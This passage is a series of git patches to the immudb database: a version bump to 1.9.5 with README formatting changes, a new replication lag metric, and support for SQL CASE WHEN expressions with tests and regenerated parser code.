--- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9.4 +VERSION=1.9.5 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/README.md b/README.md index e616e06adb..a38c338db1 100644 --- a/README.md +++ b/README.md @@ -68,11 +68,11 @@ When used as a relational data database, it supports both transactions and blobs ### Getting immudb running: executable -You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9DOM.1 for linux amd64: +You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9.5 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.9DOM.1/immudb-v1.9DOM.1-linux-amd64 -mv immudb-v1.9DOM.1-linux-amd64 immudb +wget https://github.com/codenotary/immudb/releases/download/v1.9.5/immudb-v1.9.5-linux-amd64 +mv immudb-v1.9.5-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output @@ -101,6 +101,7 @@ helm repo add immudb https://packages.codenotary.org/helm helm repo update helm install immudb/immudb --generate-name ``` + ### Using subfolders Immudb helm chart creates a persistent volume for storing immudb database. @@ -114,6 +115,7 @@ This is different from what we did on older (<=1.3.1) helm charts, so if you hav value volumeSubPath to false (i.e.: `--set volumeSubPath.enabled=false`) when upgrading so that the old way is used. You can alternatively migrate the data in a `/immudb` directory. You can use this pod as a reference for the job: + ```yaml apiVersion: v1 kind: Pod @@ -131,12 +133,13 @@ spec: - mountPath: "/data" name: "vol0" command: - - sh - - -c - - | - mkdir -p /data/immudb - ls /data | grep -v -E 'immudb|lost\+found'|while read i; do mv /data/$i /data/immudb/$i; done + - sh + - -c + - | + mkdir -p /data/immudb + ls /data | grep -v -E 'immudb|lost\+found'|while read i; do mv /data/$i /data/immudb/$i; done ``` + As said before, you can totally disable the use of subPath by setting `volumeSubPath.enabled=false`. You can also tune the subfolder path using `volumeSubPath.path` value, if you prefer your data on a different directory than the default `immudb`. @@ -235,7 +238,6 @@ Or just use Docker to run immuclient in a ready-to-use container. Nice and simpl docker run -it --rm --net host --name immuclient codenotary/immuclient:latest ``` - ## Using immudb Lot of useful documentation and step by step guides can be found at https://docs.immudb.io/ @@ -272,7 +274,6 @@ Our [immudb Playground](https://play.codenotary.com) provides a guided environme - We've developed a "language-agnostic SDK" which exposes a REST API for easy consumption by any application. [immugw](https://github.com/codenotary/immugw) may be a convenient tool when SDKs are not available for the programming language you're using, for experimentation, or just because you prefer your app only uses REST endpoints. @@ -289,34 +290,34 @@ Click here to try out the immudb web console access in an [online demo environme ## Tech specs -| Topic | Description | -| ----------------------- | -------------------------------------------------- | -| DB Model | Key-Value with 3D access, Document Model, SQL | -| Data scheme | schema-free | -| Implementation design | Cryptographic commit log with parallel Merkle Tree,| -| | (sync/async) indexing with extended B-tree | -| Implementation language | Go | -| Server OS(s) | BSD, Linux, OS X, Solaris, Windows, IBM z/OS | -| Embeddable | Yes, optionally | -| Server APIs | gRPC | -| Partition methods | Sharding | -| Consistency concepts | Immediate Consistency | -| Transaction concepts | ACID with Snapshot Isolation (SSI) | -| Durability | Yes | -| Snapshots | Yes | -| High Read throughput | Yes | -| High Write throughput | Yes | -| Optimized for SSD | Yes | +| Topic | Description | +| ----------------------- | --------------------------------------------------- | +| DB Model | Key-Value with 3D access, Document Model, SQL | +| Data scheme | schema-free | +| Implementation design | Cryptographic commit log with parallel Merkle Tree, | +| | (sync/async) indexing with extended B-tree | +| Implementation language | Go | +| Server OS(s) | BSD, Linux, OS X, Solaris, Windows, IBM z/OS | +| Embeddable | Yes, optionally | +| Server APIs | gRPC | +| Partition methods | Sharding | +| Consistency concepts | Immediate Consistency | +| Transaction concepts | ACID with Snapshot Isolation (SSI) | +| Durability | Yes | +| Snapshots | Yes | +| High Read throughput | Yes | +| High Write throughput | Yes | +| Optimized for SSD | Yes | ## Performance figures immudb can handle millions of writes per second. The following table shows performance of the embedded store inserting 1M entries on a machine with 4-core E3-1275v6 CPU and SSD disk: | Entries | Workers | Batch | Batches | time (s) | Entries/s | -| ------ | ------ | ------ | ------ | ------ | ------ | -| 1M | 20 | 1000 | 50 | 1.061 | 1.2M /s | -| 1M | 50 | 1000 | 20 | 0.543 | 1.8M /s | -| 1M | 100 | 1000 | 10 | 0.615 | 1.6M /s | +| ------- | ------- | ----- | ------- | -------- | --------- | +| 1M | 20 | 1000 | 50 | 1.061 | 1.2M /s | +| 1M | 50 | 1000 | 20 | 0.543 | 1.8M /s | +| 1M | 100 | 1000 | 10 | 0.615 | 1.6M /s | You can generate your own benchmarks using the `stress_tool` under `embedded/tools`. @@ -337,7 +338,7 @@ Below is a list of known projects that use immudb: - [alma-sbom](https://github.com/AlmaLinux/alma-sbom) - AlmaLinux OS SBOM data management utility. - [immudb-log-audit](https://github.com/codenotary/immudb-log-audit) - A service and cli tool to store json formatted log input -and audit it later in immudb Vault. + and audit it later in immudb Vault. - [immudb-operator](https://github.com/unagex/immudb-operator) - Unagex Kubernetes Operator for immudb. diff --git a/helm/Chart.yaml b/helm/Chart.yaml index 763bc24e71..d21f23e26b 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9.4 -appVersion: "1.9.4" +version: 1.9.5 +appVersion: "1.9.5" From e77545f4238a1dc4ee7942b587544457a65da45c Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 19 Sep 2024 10:42:01 +0200 Subject: [PATCH 1054/1062] chore(pkg/replication): add replication lag metric Signed-off-by: Stefano Scafiti --- pkg/database/lazy_db.go | 6 ++++-- pkg/replication/metrics.go | 8 ++++++++ pkg/replication/replicator.go | 17 +++++++++++++++++ pkg/server/server.go | 13 +++++++++++-- pkg/server/stream_replication.go | 25 +++++++++++++------------ 5 files changed, 53 insertions(+), 16 deletions(-) diff --git a/pkg/database/lazy_db.go b/pkg/database/lazy_db.go index 6d0a74f1da..cfe9532d22 100644 --- a/pkg/database/lazy_db.go +++ b/pkg/database/lazy_db.go @@ -19,7 +19,7 @@ package database import ( "context" "crypto/sha256" - "io" + "errors" "path/filepath" "time" @@ -29,6 +29,8 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" ) +var ErrNoNewTransactions = errors.New("no new transactions") + type lazyDB struct { m *DBManager @@ -440,7 +442,7 @@ func (db *lazyDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) if !req.AllowPreCommitted { if req.Tx > state.TxId { - return nil, 0, [sha256.Size]byte{}, io.EOF + return nil, 0, [sha256.Size]byte{}, ErrNoNewTransactions } } diff --git a/pkg/replication/metrics.go b/pkg/replication/metrics.go index 8f3c824477..a2d6eec31a 100644 --- a/pkg/replication/metrics.go +++ b/pkg/replication/metrics.go @@ -65,6 +65,11 @@ var ( Name: "immudb_replication_allow_commit_up_to_tx_id", Help: "most recently received confirmation up to which commit id the replica is allowed to durably commit", }, []string{"db"}) + + _metricsReplicationLag = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Name: "immudb_replication_lag", + Help: "The difference between the last transaction committed by the primary and replicated by the replica", + }, []string{"db"}) ) type metrics struct { @@ -76,6 +81,7 @@ type metrics struct { replicatorsInRetryDelay prometheus.Gauge primaryCommittedTxID prometheus.Gauge allowCommitUpToTxID prometheus.Gauge + replicationLag prometheus.Gauge } // metricsForDb returns metrics object for particular database name @@ -89,6 +95,7 @@ func metricsForDb(dbName string) metrics { replicatorsInRetryDelay: _metricsReplicatorsInRetryDelay.WithLabelValues(dbName), primaryCommittedTxID: _metricsReplicationPrimaryCommittedTxID.WithLabelValues(dbName), allowCommitUpToTxID: _metricsAllowCommitUpToTxID.WithLabelValues(dbName), + replicationLag: _metricsReplicationLag.WithLabelValues(dbName), } } @@ -99,6 +106,7 @@ func (m *metrics) reset() { m.replicatorsInRetryDelay.Set(0) m.primaryCommittedTxID.Set(0) m.allowCommitUpToTxID.Set(0) + m.replicationLag.Set(0) } // replicationTimeHistogramTimer returns prometheus timer for replicationTimeHistogram diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 50853d6634..82102049d0 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -377,7 +377,14 @@ func (txr *TxReplicator) fetchNextTx() error { defer txr.disconnect() } + txr.maybeUpdateReplicationLag(commitState.TxId, emd) + if err != nil && !errors.Is(err, io.EOF) { + if strings.Contains(err.Error(), database.ErrNoNewTransactions.Error()) { + txr.metrics.replicationLag.Set(0) + return err + } + if strings.Contains(err.Error(), "replica commit state diverged from primary") { txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary @@ -497,3 +504,13 @@ func (txr *TxReplicator) Error() error { return txr.err } + +func (txr *TxReplicator) maybeUpdateReplicationLag(lastCommittedTxID uint64, metadata map[string][]byte) { + primaryLastCommittedTxIDBin, ok := metadata["committed-txid-bin"] + if !ok { + return + } + + lag := binary.BigEndian.Uint64(primaryLastCommittedTxIDBin) - lastCommittedTxID + txr.metrics.replicationLag.Set(float64(lag)) +} diff --git a/pkg/server/server.go b/pkg/server/server.go index 1c53434b73..93d90f683d 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -317,9 +317,18 @@ func (s *ImmuServer) Start() (err error) { startedAt = time.Now() if s.Options.MetricsServer { - s.metricsServer = StartMetrics(1*time.Minute, s.Options.MetricsBind(), s.Options.TLSConfig, s.Logger, s.metricFuncServerUptimeCounter, - s.metricFuncComputeDBSizes, s.metricFuncComputeDBEntries, s.metricFuncComputeLoadedDBSize, s.metricFuncComputeSessionCount, + s.metricsServer = StartMetrics( + 1*time.Minute, + s.Options.MetricsBind(), + s.Options.TLSConfig, + s.Logger, + s.metricFuncServerUptimeCounter, + s.metricFuncComputeDBSizes, + s.metricFuncComputeDBEntries, + s.metricFuncComputeLoadedDBSize, + s.metricFuncComputeSessionCount, s.Options.PProf) + defer func() { if err := s.metricsServer.Close(); err != nil { s.Logger.Errorf("failed to shutdown metric server: %s", err) diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index 034d1ac0b6..f49623a801 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -62,23 +62,24 @@ func (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.Immu return err } - var streamMetadata map[string][]byte + var bCommittedTxID [8]byte + state, err := db.CurrentState() + if err == nil { + binary.BigEndian.PutUint64(bCommittedTxID[:], state.TxId) + } + + // In asynchronous replication, the last committed transaction value is sent to the replica + // to enable updating its replication lag. + streamMetadata := map[string][]byte{ + "committed-txid-bin": bCommittedTxID[:], + } if req.ReplicaState != nil { var bMayCommitUpToTxID [8]byte binary.BigEndian.PutUint64(bMayCommitUpToTxID[:], mayCommitUpToTxID) - var bCommittedTxID [8]byte - state, err := db.CurrentState() - if err == nil { - binary.BigEndian.PutUint64(bCommittedTxID[:], state.TxId) - } - - streamMetadata = map[string][]byte{ - "may-commit-up-to-txid-bin": bMayCommitUpToTxID[:], - "may-commit-up-to-alh-bin": mayCommitUpToAlh[:], - "committed-txid-bin": bCommittedTxID[:], - } + streamMetadata["may-commit-up-to-txid-bin"] = bMayCommitUpToTxID[:] + streamMetadata["may-commit-up-to-alh-bin"] = mayCommitUpToAlh[:] if setTrailer { // trailer metadata is kept for backward compatibility From 51c0742e3894f947539be3c05d8509c537099b63 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 27 Nov 2024 09:42:23 +0100 Subject: [PATCH 1055/1062] chore(embedded/sql): Implement CASE statement Signed-off-by: Stefano Scafiti --- embedded/sql/engine_test.go | 158 ++++++++ embedded/sql/parser.go | 5 + embedded/sql/parser_test.go | 97 ++++- embedded/sql/proj_row_reader.go | 7 +- embedded/sql/sql_grammar.y | 53 ++- embedded/sql/sql_parser.go | 641 ++++++++++++++++++-------------- embedded/sql/stmt.go | 194 +++++++++- embedded/sql/stmt_test.go | 88 +++++ 8 files changed, 945 insertions(+), 298 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 2ddd48f6c2..5244f5e4aa 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -2885,6 +2885,164 @@ func TestQuery(t *testing.T) { } }) + t.Run("query with case when then", func(t *testing.T) { + _, _, err := engine.Exec( + context.Background(), + nil, + `CREATE TABLE employees ( + employee_id INTEGER AUTO_INCREMENT, + first_name VARCHAR[50], + last_name VARCHAR[50], + department VARCHAR[50], + salary INTEGER, + hire_date TIMESTAMP, + job_title VARCHAR[50], + + PRIMARY KEY employee_id + );`, + nil, + ) + require.NoError(t, err) + + n := 100 + for i := 0; i < n; i++ { + _, _, err := engine.Exec( + context.Background(), + nil, + `INSERT INTO employees(first_name, last_name, department, salary, job_title) + VALUES (@first_name, @last_name, @department, @salary, @job_title) + `, + map[string]interface{}{ + "first_name": fmt.Sprintf("name%d", i), + "last_name": fmt.Sprintf("surname%d", i), + "department": []string{"sales", "manager", "engineering"}[rand.Intn(3)], + "salary": []int64{20, 40, 50, 80, 100}[rand.Intn(5)] * 1000, + "job_title": []string{"manager", "senior engineer", "executive"}[rand.Intn(3)], + }, + ) + require.NoError(t, err) + } + + _, err = engine.queryAll( + context.Background(), + nil, + "SELECT CASE WHEN salary THEN 0 END FROM employees", + nil, + ) + require.ErrorIs(t, err, ErrInvalidTypes) + + rows, err := engine.queryAll( + context.Background(), + nil, + `SELECT + employee_id, + first_name, + last_name, + salary, + CASE + WHEN salary < 50000 THEN @low + WHEN salary >= 50000 AND salary <= 100000 THEN @medium + ELSE @high + END AS salary_category + FROM employees;`, + map[string]interface{}{ + "low": "Low", + "medium": "Medium", + "high": "High", + }, + ) + require.NoError(t, err) + require.Len(t, rows, n) + + for _, row := range rows { + salary := row.ValuesByPosition[3].RawValue().(int64) + category, _ := row.ValuesByPosition[4].RawValue().(string) + + expectedCategory := "High" + if salary < 50000 { + expectedCategory = "Low" + } else if salary >= 50000 && salary <= 100000 { + expectedCategory = "Medium" + } + require.Equal(t, expectedCategory, category) + } + + rows, err = engine.queryAll( + context.Background(), + nil, + `SELECT + department, + job_title, + CASE + WHEN department = 'sales' THEN + CASE + WHEN job_title = 'manager' THEN '20% Bonus' + ELSE '10% Bonus' + END + WHEN department = 'engineering' THEN + CASE + WHEN job_title = 'senior engineer' THEN '15% Bonus' + ELSE '5% Bonus' + END + ELSE + CASE + WHEN job_title = 'executive' THEN '12% Bonus' + ELSE 'No Bonus' + END + END AS bonus + FROM employees;`, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, n) + + for _, row := range rows { + department := row.ValuesByPosition[0].RawValue().(string) + job, _ := row.ValuesByPosition[1].RawValue().(string) + bonus, _ := row.ValuesByPosition[2].RawValue().(string) + + var expectedBonus string + switch department { + case "sales": + if job == "manager" { + expectedBonus = "20% Bonus" + } else { + expectedBonus = "10% Bonus" + } + case "engineering": + if job == "senior engineer" { + expectedBonus = "15% Bonus" + } else { + expectedBonus = "5% Bonus" + } + default: + if job == "executive" { + expectedBonus = "12% Bonus" + } else { + expectedBonus = "No Bonus" + } + } + require.Equal(t, expectedBonus, bonus) + } + + rows, err = engine.queryAll( + context.Background(), + nil, + `SELECT + CASE + WHEN department = 'sales' THEN 'Sales Team' + END AS department + FROM employees + WHERE department != 'sales' + LIMIT 1 + ;`, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Nil(t, rows[0].ValuesByPosition[0].RawValue()) + }) + t.Run("invalid queries", func(t *testing.T) { r, err = engine.Query(context.Background(), nil, "INVALID QUERY", nil) require.ErrorIs(t, err, ErrParsingError) diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 9d26227be2..7fb6f776f2 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -110,6 +110,11 @@ var reservedWords = map[string]int{ "PRIVILEGES": PRIVILEGES, "CHECK": CHECK, "CONSTRAINT": CONSTRAINT, + "CASE": CASE, + "WHEN": WHEN, + "THEN": THEN, + "ELSE": ELSE, + "END": END, } var joinTypes = map[string]JoinType{ diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 36b2455a01..ef8dceb6a8 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1386,7 +1386,7 @@ func TestAggFnStmt(t *testing.T) { } } -func TestExpressions(t *testing.T) { +func TestParseExp(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt @@ -1674,6 +1674,98 @@ func TestExpressions(t *testing.T) { }}, expectedError: nil, }, + { + input: "SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table", + expectedOutput: []SQLStmt{ + &SelectStmt{ + ds: &tableRef{table: "my_table"}, + targets: []TargetEntry{ + { + Exp: &CaseWhenExp{ + whenThen: []whenThenClause{ + { + when: &BinBoolExp{ + op: OR, + left: &ColSelector{col: "is_deleted"}, + right: &ColSelector{col: "is_expired"}, + }, + then: &Integer{1}, + }, + }, + }, + As: "is_deleted_or_expired", + }, + }, + }, + }, + }, + { + input: "SELECT CASE WHEN is_active THEN 1 ELSE 2 END FROM my_table", + expectedOutput: []SQLStmt{ + &SelectStmt{ + ds: &tableRef{table: "my_table"}, + targets: []TargetEntry{ + { + Exp: &CaseWhenExp{ + whenThen: []whenThenClause{ + { + when: &ColSelector{col: "is_active"}, + then: &Integer{1}, + }, + }, + elseExp: &Integer{2}, + }, + }, + }, + }, + }, + }, + { + input: ` + SELECT product_name, + CASE + WHEN stock < 10 THEN 'Low stock' + WHEN stock >= 10 AND stock <= 50 THEN 'Medium stock' + WHEN stock > 50 THEN 'High stock' + ELSE 'Out of stock' + END AS stock_status + FROM products + `, + expectedOutput: []SQLStmt{ + &SelectStmt{ + ds: &tableRef{table: "products"}, + targets: []TargetEntry{ + { + Exp: &ColSelector{col: "product_name"}, + }, + { + Exp: &CaseWhenExp{ + whenThen: []whenThenClause{ + { + when: &CmpBoolExp{op: LT, left: &ColSelector{col: "stock"}, right: &Integer{10}}, + then: &Varchar{"Low stock"}, + }, + { + when: &BinBoolExp{ + op: AND, + left: &CmpBoolExp{op: GE, left: &ColSelector{col: "stock"}, right: &Integer{10}}, + right: &CmpBoolExp{op: LE, left: &ColSelector{col: "stock"}, right: &Integer{50}}, + }, + then: &Varchar{"Medium stock"}, + }, + { + when: &CmpBoolExp{op: GT, left: &ColSelector{col: "stock"}, right: &Integer{50}}, + then: &Varchar{"High stock"}, + }, + }, + elseExp: &Varchar{"Out of stock"}, + }, + As: "stock_status", + }, + }, + }, + }, + }, } for i, tc := range testCases { @@ -1897,6 +1989,9 @@ func TestExprString(t *testing.T) { "((col1 AND (col2 < 10)) OR (@param = 3 AND (col4 = TRUE))) AND NOT (col5 = 'value' OR (2 + 2 != 4))", "CAST (func_call(1, 'two', 2.5) AS TIMESTAMP)", "col IN (TRUE, 1, 'test', 1.5)", + "CASE WHEN in_stock THEN 'In Stock' END", + "CASE WHEN 1 > 0 THEN 1 ELSE 0 END", + "CASE WHEN is_active THEN 'active' WHEN is_expired THEN 'expired' ELSE 'active' END", } for i, e := range exps { diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index dda316fa36..f2f0a1ffbe 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -190,7 +190,12 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } for i, t := range pr.targets { - v, err := t.Exp.reduce(pr.Tx(), row, pr.rowReader.TableAlias()) + e, err := t.Exp.substitute(pr.Parameters()) + if err != nil { + return nil, fmt.Errorf("%w: when evaluating WHERE clause", err) + } + + v, err := e.reduce(pr.Tx(), row, pr.rowReader.TableAlias()) if err != nil { return nil, err } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index f31bb1e026..4fe736f332 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -72,13 +72,14 @@ func setResult(l yyLexer, stmts []SQLStmt) { permission Permission sqlPrivilege SQLPrivilege sqlPrivileges []SQLPrivilege + whenThenClauses []whenThenClause } %token CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP %token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK GRANT REVOKE GRANTS FOR PRIVILEGES %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING RETURNING -%token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL +%token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL CASE WHEN THEN ELSE END %token NOT LIKE IF EXISTS IN IS %token AUTO_INCREMENT NULL CAST SCAST %token SHOW DATABASES TABLES USERS @@ -135,10 +136,10 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type join %type opt_join_type %type opt_checks -%type exp opt_where opt_having boundexp +%type exp opt_where opt_having boundexp opt_else when_then_else %type binExp %type opt_groupby -%type opt_limit opt_offset +%type opt_limit opt_offset case_when_exp %type opt_targets targets %type opt_max_len %type opt_as @@ -152,6 +153,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type permission %type sqlPrivilege %type sqlPrivileges +%type when_then_clauses %start sql @@ -1095,6 +1097,51 @@ exp: { $$ = &InListExp{val: $1, notIn: $2, values: $5} } +| + case_when_exp + { + $$ = $1 + } + +case_when_exp: + CASE when_then_else END + { + $$ = $2 + } +; + +when_then_else: + when_then_clauses opt_else + { + $$ = &CaseWhenExp{ + whenThen: $1, + elseExp: $2, + } + } +; + +when_then_clauses: + WHEN exp THEN exp + { + $$ = []whenThenClause{{when: $2, then: $4}} + } +| + when_then_clauses WHEN exp THEN exp + { + $$ = append($1, whenThenClause{when: $3, then: $5}) + } +; + +opt_else: + { + $$ = nil + } +| + ELSE exp + { + $$ = $2 + } +; boundexp: selector diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index ac6c63176e..266135dabe 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -10,54 +10,55 @@ func setResult(l yyLexer, stmts []SQLStmt) { } type yySymType struct { - yys int - stmts []SQLStmt - stmt SQLStmt - datasource DataSource - colsSpec []*ColSpec - colSpec *ColSpec - cols []*ColSelector - rows []*RowSpec - row *RowSpec - values []ValueExp - value ValueExp - id string - integer uint64 - float float64 - str string - boolean bool - blob []byte - sqlType SQLValueType - aggFn AggregateFn - ids []string - col *ColSelector - sel Selector - targets []TargetEntry - jsonFields []string - distinct bool - ds DataSource - tableRef *tableRef - period period - openPeriod *openPeriod - periodInstant periodInstant - joins []*JoinSpec - join *JoinSpec - joinType JoinType - checks []CheckConstraint - exp ValueExp - binExp ValueExp - err error - ordcols []*OrdCol - opt_ord bool - logicOp LogicOperator - cmpOp CmpOperator - pparam int - update *colUpdate - updates []*colUpdate - onConflict *OnConflictDo - permission Permission - sqlPrivilege SQLPrivilege - sqlPrivileges []SQLPrivilege + yys int + stmts []SQLStmt + stmt SQLStmt + datasource DataSource + colsSpec []*ColSpec + colSpec *ColSpec + cols []*ColSelector + rows []*RowSpec + row *RowSpec + values []ValueExp + value ValueExp + id string + integer uint64 + float float64 + str string + boolean bool + blob []byte + sqlType SQLValueType + aggFn AggregateFn + ids []string + col *ColSelector + sel Selector + targets []TargetEntry + jsonFields []string + distinct bool + ds DataSource + tableRef *tableRef + period period + openPeriod *openPeriod + periodInstant periodInstant + joins []*JoinSpec + join *JoinSpec + joinType JoinType + checks []CheckConstraint + exp ValueExp + binExp ValueExp + err error + ordcols []*OrdCol + opt_ord bool + logicOp LogicOperator + cmpOp CmpOperator + pparam int + update *colUpdate + updates []*colUpdate + onConflict *OnConflictDo + permission Permission + sqlPrivilege SQLPrivilege + sqlPrivileges []SQLPrivilege + whenThenClauses []whenThenClause } const CREATE = 57346 @@ -128,37 +129,43 @@ const DESC = 57410 const AS = 57411 const UNION = 57412 const ALL = 57413 -const NOT = 57414 -const LIKE = 57415 -const IF = 57416 -const EXISTS = 57417 -const IN = 57418 -const IS = 57419 -const AUTO_INCREMENT = 57420 -const NULL = 57421 -const CAST = 57422 -const SCAST = 57423 -const SHOW = 57424 -const DATABASES = 57425 -const TABLES = 57426 -const USERS = 57427 -const NPARAM = 57428 -const PPARAM = 57429 -const JOINTYPE = 57430 -const LOP = 57431 -const CMPOP = 57432 -const IDENTIFIER = 57433 -const TYPE = 57434 -const INTEGER = 57435 -const FLOAT = 57436 -const VARCHAR = 57437 -const BOOLEAN = 57438 -const BLOB = 57439 -const AGGREGATE_FUNC = 57440 -const ERROR = 57441 -const DOT = 57442 -const ARROW = 57443 -const STMT_SEPARATOR = 57444 +const CASE = 57414 +const WHEN = 57415 +const THEN = 57416 +const ELSE = 57417 +const END = 57418 +const BETWEEN = 57419 +const NOT = 57420 +const LIKE = 57421 +const IF = 57422 +const EXISTS = 57423 +const IN = 57424 +const IS = 57425 +const AUTO_INCREMENT = 57426 +const NULL = 57427 +const CAST = 57428 +const SCAST = 57429 +const SHOW = 57430 +const DATABASES = 57431 +const TABLES = 57432 +const USERS = 57433 +const NPARAM = 57434 +const PPARAM = 57435 +const JOINTYPE = 57436 +const LOP = 57437 +const CMPOP = 57438 +const IDENTIFIER = 57439 +const TYPE = 57440 +const INTEGER = 57441 +const FLOAT = 57442 +const VARCHAR = 57443 +const BOOLEAN = 57444 +const BLOB = 57445 +const AGGREGATE_FUNC = 57446 +const ERROR = 57447 +const DOT = 57448 +const ARROW = 57449 +const STMT_SEPARATOR = 57450 var yyToknames = [...]string{ "$end", @@ -232,6 +239,12 @@ var yyToknames = [...]string{ "AS", "UNION", "ALL", + "CASE", + "WHEN", + "THEN", + "ELSE", + "END", + "BETWEEN", "NOT", "LIKE", "IF", @@ -287,155 +300,162 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 97, - 73, 184, - 76, 184, + 79, 191, + 82, 191, -2, 172, - -1, 262, + -1, 272, 59, 145, -2, 140, - -1, 307, + -1, 320, 59, 145, -2, 142, } const yyPrivate = 57344 -const yyLast = 547 +const yyLast = 582 var yyAct = [...]int16{ - 129, 411, 102, 105, 300, 151, 256, 321, 197, 339, - 336, 113, 203, 234, 239, 306, 6, 235, 194, 142, - 295, 71, 286, 145, 378, 327, 22, 326, 254, 254, - 281, 254, 254, 399, 340, 254, 127, 383, 363, 353, - 328, 290, 99, 128, 255, 101, 382, 379, 371, 116, - 112, 354, 21, 341, 24, 352, 114, 115, 159, 350, - 316, 117, 96, 107, 108, 109, 110, 111, 106, 314, - 157, 158, 313, 311, 100, 280, 278, 277, 275, 253, - 104, 337, 285, 174, 152, 153, 155, 154, 156, 274, - 173, 143, 227, 173, 269, 99, 268, 267, 101, 266, - 165, 166, 116, 112, 161, 168, 147, 241, 183, 114, - 115, 130, 159, 176, 117, 172, 107, 108, 109, 110, - 111, 106, 171, 167, 157, 158, 160, 100, 141, 182, - 140, 232, 201, 104, 410, 403, 208, 228, 152, 153, - 155, 154, 156, 365, 199, 230, 282, 281, 254, 150, - 83, 212, 159, 213, 214, 215, 216, 217, 218, 219, - 196, 210, 180, 181, 200, 159, 170, 174, 132, 232, - 76, 276, 250, 233, 236, 231, 106, 157, 158, 243, - 155, 154, 156, 319, 226, 229, 362, 361, 161, 283, - 400, 152, 153, 155, 154, 156, 206, 207, 209, 32, - 245, 225, 244, 261, 211, 324, 33, 232, 323, 259, - 160, 195, 262, 357, 347, 332, 270, 331, 271, 330, - 315, 298, 264, 205, 273, 260, 263, 146, 249, 99, - 248, 247, 101, 246, 240, 77, 116, 112, 242, 237, - 222, 192, 191, 114, 115, 184, 177, 148, 117, 131, - 107, 108, 109, 110, 111, 106, 120, 118, 302, 91, - 284, 100, 94, 54, 240, 80, 304, 104, 79, 310, - 297, 78, 297, 292, 75, 236, 299, 70, 69, 202, - 22, 309, 320, 31, 164, 39, 159, 296, 376, 360, - 377, 317, 318, 163, 272, 22, 359, 322, 157, 158, - 159, 49, 338, 265, 329, 159, 21, 159, 175, 342, - 65, 373, 152, 153, 155, 154, 156, 346, 158, 348, - 349, 21, 351, 344, 356, 343, 152, 153, 155, 154, - 156, 152, 153, 155, 154, 156, 119, 90, 236, 221, - 99, 55, 223, 101, 22, 224, 220, 116, 112, 412, - 413, 366, 394, 257, 114, 115, 301, 210, 370, 117, - 367, 107, 108, 109, 110, 111, 106, 64, 402, 138, - 21, 386, 100, 58, 369, 391, 381, 388, 104, 387, - 143, 390, 389, 279, 385, 345, 395, 149, 60, 52, - 397, 159, 62, 392, 204, 66, 67, 159, 380, 404, - 401, 364, 88, 157, 158, 408, 406, 409, 405, 157, - 158, 51, 50, 414, 53, 25, 415, 152, 153, 155, - 154, 156, 82, 152, 153, 155, 154, 156, 10, 12, - 11, 43, 47, 56, 57, 59, 122, 92, 324, 374, - 355, 323, 372, 188, 189, 85, 86, 87, 186, 187, - 185, 13, 291, 252, 48, 135, 251, 398, 334, 303, - 14, 15, 178, 121, 84, 7, 81, 8, 9, 16, - 17, 36, 44, 18, 19, 38, 46, 45, 133, 